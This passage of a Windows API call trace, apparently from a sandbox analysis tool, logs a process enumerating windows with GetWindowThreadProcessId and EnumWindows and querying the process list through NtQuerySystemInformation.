[0257.399] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0257.399] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0257.399] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0257.400] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0257.400] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0257.400] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0257.401] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0257.401] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0257.402] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0257.403] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0257.403] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0257.403] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0257.403] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0257.403] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0257.403] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0257.403] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0257.403] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0257.403] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0257.404] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0257.404] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0257.404] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0257.404] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0257.404] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0257.404] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0257.404] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0257.404] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0257.404] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0257.405] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0257.405] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0257.405] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0257.405] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0257.405] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0257.405] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0257.405] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0257.405] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0257.405] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0257.405] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0257.406] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0257.406] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0257.406] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0257.406] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0257.406] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.406] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0257.406] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.406] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0257.406] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.406] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.407] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0257.407] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.407] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.407] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0257.407] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0257.407] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0257.407] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0257.407] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0257.407] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0257.407] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.407] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.408] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0257.408] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0257.408] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0257.453] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0257.453] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0257.453] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0257.453] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0257.453] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0257.453] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0257.453] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0257.453] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0257.453] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0257.454] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0257.454] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0257.454] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0257.454] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0257.454] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0257.454] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0257.454] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0257.454] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0257.455] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0257.455] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0257.455] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0257.455] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0257.455] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0257.455] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0257.455] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0257.456] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0257.456] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0257.456] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0257.456] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0257.456] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0257.456] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0257.456] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0257.457] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0257.457] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0257.457] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0257.457] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0257.457] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0257.457] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0257.458] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0257.458] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0257.458] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0257.458] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0257.458] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0257.458] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0257.459] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0257.459] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0257.459] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0257.459] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0257.459] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0257.460] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0257.460] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0257.460] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0257.460] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0257.460] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0257.460] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0257.460] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0257.460] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0257.461] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0257.461] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0257.461] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0257.461] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0257.461] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0257.461] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0257.461] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0257.461] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0257.461] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0257.462] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0257.462] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0257.462] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0257.462] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0257.462] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0257.462] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0257.462] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0257.462] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0257.462] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0257.463] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0257.463] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0257.463] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0257.464] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0257.516] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0260.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11928) returned 0x0
[0260.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11928) returned 0x0
[0260.344] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11928) returned 0x0
[0260.347] EnumWindows (lpEnumFunc=0x1b1a2a0c, lParam=0x0) returned 1
[0260.347] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0260.347] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.347] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.347] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.347] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.348] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0260.348] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.348] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0260.348] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0260.348] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.348] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.348] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.348] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.348] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0260.348] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
